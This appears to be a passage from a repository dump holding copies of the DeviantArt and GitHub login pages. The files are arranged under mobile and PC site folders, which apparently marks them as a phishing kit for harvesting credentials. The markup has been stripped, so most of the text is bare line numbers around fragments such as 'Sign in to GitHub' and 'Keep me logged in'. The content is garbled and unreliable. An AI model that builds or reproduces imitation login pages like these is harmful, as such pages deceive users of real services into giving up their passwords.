615 | 616 | 645 | -------------------------------------------------------------------------------- /site/mob/deviantart/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | Log In | DeviantArt 10 | 11 | 12 | 17 | 18 | 23 | 28 | 29 | 34 | 35 | 36 | 37 | 38 | 43 | 48 | 49 | 50 | 55 | 56 | 61 | 62 | 67 | 68 | 69 | 77 | 85 | 93 | 101 | 109 | 117 | 123 | 129 | 135 | 141 | 147 | 153 | 159 | 165 | 171 | 178 | 185 | 190 | 195 | 200 | 205 | 206 | 207 | 208 | 213 | 218 | 223 | 228 | 233 | 238 | 253 | 254 | 257 | 258 | 263 | 291 | 292 | 324 | 325 | 326 |
327 |
328 |
333 | 340 | 344 | 348 | 352 | 356 | 360 |
375 |
376 |

Log In

377 |

378 | Become a deviant. 379 | Join 380 |

381 |
382 |
383 | 392 |
393 | 396 |
397 | 405 |
406 | 407 |
408 |
409 | 412 |
413 | 420 |
421 | 422 |
423 |
424 | 430 |
431 | 437 |
438 | 445 | 449 |
Keep me logged in 451 |
452 | 453 |
454 |
455 | Forgot your username or password? 465 |
466 |
467 |
468 |
469 | By clicking Log In, I confirm that I have read and agree to the 470 | DeviantArt 471 | Terms of Service, 474 | Privacy Policy, and to receive emails and updates. 477 |
478 |
479 |
480 |
481 | 482 | 483 | 513 | 514 | -------------------------------------------------------------------------------- /site/pc/github/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 20 | 23 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | Sign in to GitHub · GitHub 35 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 68 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 81 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 144 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 |
158 | Skip to 159 | content 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 186 | 187 | 188 | 189 | 202 | 203 | 204 |
205 | 206 |
207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 216 | 217 | 218 | 219 |
221 |
222 | 223 | 224 | 225 | 226 |
227 | 228 | 229 | 230 | 231 | 232 |
236 |
237 |

Sign in to GitHub

238 |
239 | 240 | 241 |
242 | 243 | 244 | 261 |
262 | 263 | 264 | 274 | 275 |
276 | 277 | 280 | 282 | 283 | 286 | 288 | 289 | 290 | 291 | 292 | 293 | 295 | 296 | 298 |
299 |
300 | 301 | 308 |
309 | 310 |
311 |
312 | 313 | 323 | 324 | 325 | 326 |
327 | 332 | 339 | You can’t perform that action at this time. 340 |
341 | 342 | 343 | 347 | 351 | 354 | 357 | 358 | 361 | 362 | 366 | 370 | 374 | 378 | 382 | 386 | 390 | 394 | 398 | 402 | 403 | 404 | 415 | 431 | 432 | 437 | 438 | 439 | 440 | 469 | --------------------------------------------------------------------------------